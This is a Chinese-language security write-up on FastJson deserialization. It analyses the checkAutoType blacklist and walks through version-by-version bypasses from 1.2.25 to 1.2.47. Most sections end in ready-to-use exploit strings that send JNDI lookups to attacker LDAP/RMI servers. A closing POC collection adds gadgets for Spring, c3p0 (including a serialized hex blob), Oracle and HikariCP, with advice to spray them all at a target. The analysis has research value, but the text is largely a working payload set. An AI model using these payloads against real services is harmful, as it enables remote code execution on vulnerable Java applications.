学了 FastJson 的利用连,但是到 1.2.24 都没有对类加载进行一些限制,从 1.2.25 开始类加载有了黑名单,学学各版本的绕过
一.修复
检测到@type 的时候,对加载的类进行黑名单过滤
不一样的点是在 DefaultJSONParse.perseObject 方法里面,当检测到含有@type 的时候,修复点调用的是 checkAutoType()
二.分析 checkAutoType() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } else { String className = typeName.replace('$' , '.' ); if (this .autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < this .acceptList.length; ++i) { String accept = this .acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, this .defaultClassLoader); } } for (int i = 0 ; i < this .denyList.length; ++i) { String deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { for (int i = 0 ; i < this .denyList.length; ++i) { String deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < this .acceptList.length; ++i) { String accept = this .acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (this .autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } if (!this .autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } else { return clazz; } } } }
搬一下组长的图
简单说一下该方法:autoTypeSupport 默认是 false 关着的,会从缓存中查找类,然后黑名单遍历,把前面利用链的包基本都给禁了。autoTypeSupport 开着也会进行白名单检测,黑名单过滤。
将其设置为 True 有两种方法:
JVM 启动参数:-Dfastjson.parser.autoTypeSupport=true
代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局 ParserConfig 则用另外调用setAutoTypeSupport(true);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
黑名单中 com.sun.把前面利用链过滤了,所以报错
针对他的修复后面的绕过都是基于黑名单
1.2.25-1.2.41 补丁绕过 @ type 的内容改成这样,然后 JVM 开启开关 autoTypeSupport,就可实现绕过
1 Lcom.sun.rowset.JdbcRowSetImpl;
EXP:
1 2 3 4 5 6 String s="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/qrztBDWM\",\"autoCommit\":true}" ; JSONObject jsonObject= JSON.parseObject(s); System.out.println(jsonObject);
来看以下绕过原理,我们将开关打开,执行逻辑会遍历白名单,黑名单并且黑名单绕过去了,然后从缓存中没有找到因为我们之前也没有写,缓存这里后续的绕过会用到。然后就是一个有意思的 loadClass
当检测到 ClassName 以 L 开头;结尾,就会截取之间的内容,所以正常进行了类加载
1.2.25-1.2.42 补丁绕过 exp:
1 2 3 4 5 6 String s="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/qrztBDWM\",\"autoCommit\":true}" ; JSONObject jsonObject= JSON.parseObject(s); System.out.println(jsonObject);
绕过分析:
补丁里面再黑名单之前就截取了 L;并且从 1.2.42 版本开始,黑名单哈希形式代替了明文形式,目的就是防止安全研究
然后那个 loadClass 类还是会截取 L;再进行类加载,所以就可以双重写进行绕过
1.2.25-1.2.43 补丁绕过 修复 修复的是直接对 LL 开头的进行报错,然后绕过是根据有意思的那个类 loadClass.
它除了截取 L;之间的内容,还会截取[开头的内容
但若只写成这样,会报错
1 "[com.sun.rowset.JdbcRowSetImpl"
分析 跟进发现是在获取反序列化解析器后,反序列化时调用了反序列化数组的方法 parseArray,需要满足一些条件才不报错,加上[,{
缺少[
缺少{
EXP 1 2 3 4 5 String s="{" +"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +"\"DataSourceName\":\"ldap://127.0.0.1:8085/qrztBDWM\",\"autoCommit\":true " + "}" ; JSONObject jsonObject= JSON.parseObject(s); System.out.println(jsonObject);
1.2.25-1.2.45 补丁绕过 修复点 修复点还是一样的,黑名单检查之前判断[开头抛出异常
这里的绕过需要目标服务端存在 mybatis 的 jar 包,且版本需为 3.x.x 系列<3.5.0 的版本。
EXP 1 2 3 4 5 6 7 8 9 10 11 String s="{" + "\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," + "\"properties\":" + "{" + "\"data_source\":\"ldap://127.0.0.1:8085/qrztBDWM\"" + "}" + "}"; JSONObject jsonObject= JSON.parseObject(s); System.out.println(jsonObject);
绕过分析 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 这个类是不在黑名单中的,所以能成功绕过,
调试分析:该类的 setProperties 方法中下断点,反序列化调用 setter,并且他它直接执行到 JNDI 注入,data_source 也通过参数 properties 获得了值
然后就是 JNDI 注入了,LDAP 的连接点是 getObjectFactoryFromInstance 方法中进行恶意类加载
1.2.25-1.2.47 补丁绕过 该绕过 AuoType 开关都不需要设置开着,通过 java.lang.Class,将 JdbcRowSetImpl 类加载到 Map 中缓存,map 缓存中加载恶意 JDBCRowSetImpl 类,绕过 checkAutoType 的检测
分析 因为从 1.2.25 开始当检测到@type 时会进行 checkAutoType 检测,所以绕过也针对这个方法就行,上面的分析中有提到从缓存中加载类,来看下图这里,开关没开着不进入黑名单的逻辑,会从 map 缓存中进行加载,然后从 java 的反序列化解析器(也是一个缓存)中获取,获取后进行期望类的检测然后直接将 clazz 返回。所以让它从缓存中加载就可以实现绕过了
getClassFromMapping 从 map 中进行获取然后返回。想要利用这里,需要找到 map 写入的地方
找到 loadClass 方法就是写入缓存的方法 ,里面的逻辑就是,缓存中有类的话就直接返回,没有就加载完类后写入缓存中再返回
就要找调用它的可控方法,进行写入
MiscCode.deserialze 方法中调用了 TypeUtils.loadClass,加载 strVal 字符串指定的类写入缓存中
接着看怎么调用 MiscCode.deserialze 方法,MiscCodec 继承 ObjectSerializer,ObjectDeserializer,是序列化反序列化解析器,而我们回想 FastJson 反序列化会检测到@type 时要获取 java 解析器再调用反序列化方法,它获取的解析器是 JavaBeanDeserializer,这个反序列化器是从缓存 config(ParserConfig 类型)中获取的,所以从 config 中获取到 MiscCode 反序列化器就行了
缓存中的初始化,已经将类与对应的解析器绑定并 put 进去,MiscCode 这个解析器对应有很多类,这里我们进行利用的是 Class.class,所以流程就是用 Class.class 反序列化·获取 MiscCode 反序列化器
然后调用 deserialize,该方法中判断键是否是 val 不是进行报错,是的话将值赋给 objVal,后续接着再赋值给 strVal,就是上面 loadClass 方法写入缓存中的那个字符串 strVal,现在前后都连接起来了
所以最后捋一下思路第一部分是 Class.class 类加载到 MiscCode 解析器,然后由于 FastJson 反序列化的逻辑调用 deserialize,进而调用 loadClass,将键的值即恶意类写入缓存中
然后当解析第二部分 JSON 数据时,由于前面我们已经将 JDBC RowSetImpl 记载到缓存中,就在 checkAutoType 这个函数中从内存中获得后直接返回了,从而绕过了黑名单的检测
EXP 所以 EXP 分析为两部分,先写进缓存中,再执行
1 2 3 4 String s = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:8085/qrztBDWM\",\"autoCommit\":true}}"; JSON.parse(s);
后续修复点: 1.2.48 将缓存开关设置成了 false,就无法写入了,所以 checkAutoType 就得执行黑名单的逻辑,无法绕过
Fastjson 各版本 POC 收集 1.2.5 需要开启 AutoType
com.zaxxer.hikari.HikariConfig 是 HikariCP(一个高性能的 JDBC 连接池)中的核心配置类,用于配置数据库连接池的参数(如 URL、用户名、连接超时时间等)。
依赖
1 2 3 4 5 <dependency > <groupId > com.zaxxer</groupId > <artifactId > HikariCP</artifactId > <version > 4.0.3</version > </dependency >
后面的就不跟进了,需要开启 AutoType 都是基于黑名单的绕过,setter 方法直接触发 JNDI 注入
1 2 String s = " {\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8085/qrztBDWM\"}" ;String s = " {\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://127.0.0.1:8085/qrztBDWM\"}" ;}
这个本地只有 1.2.5 成功了,之后的黑名单中都添加了
网上的一些 payload,每个适用的 jdk 版本,Fastjson 版本就不一一测试写了
实际利用基本无法知道版本、autotype 开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没,所以将构造的 Payload 一一过去打就行了
1.2.5-1.2.60 需要开启 AutoType
1 2 3 {"@type" :"oracle.jdbc.connector.OracleManagedConnectionFactory" ,"xaDataSourceName" :"rmi://10.10.20.166:1099/ExportObject" } {"@type" :"org.apache.commons.configuration.JNDIConfiguration" ,"prefix" :"ldap://10.10.20.166:1389/ExportObject" }
1.2.5-1.2.61 1 {"@type" :"org.apache.commons.proxy.provider.remoting.SessionBeanProvider" ,"jndiName" :"ldap://localhost:1389/Exploi
网上还有一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 payload1: { "rand1" : { "@type" : "org.springframework.beans.factory.config.PropertyPathFactoryBean" , "targetBeanName" : "ldap://localhost:1389/Object" , "propertyPath" : "foo" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://localhost:1389/Object" ] } } } payload2: { "rand1" : Set[ { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://localhost:1389/obj" ] } , "adviceBeanName" : "ldap://localhost:1389/obj" } , { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } ] } payload3: { "rand1" : { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;" } } payload4: { "rand1" : { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "ldap://localhost:1389/Object" , "loginTimeout" : 0 } } ......等等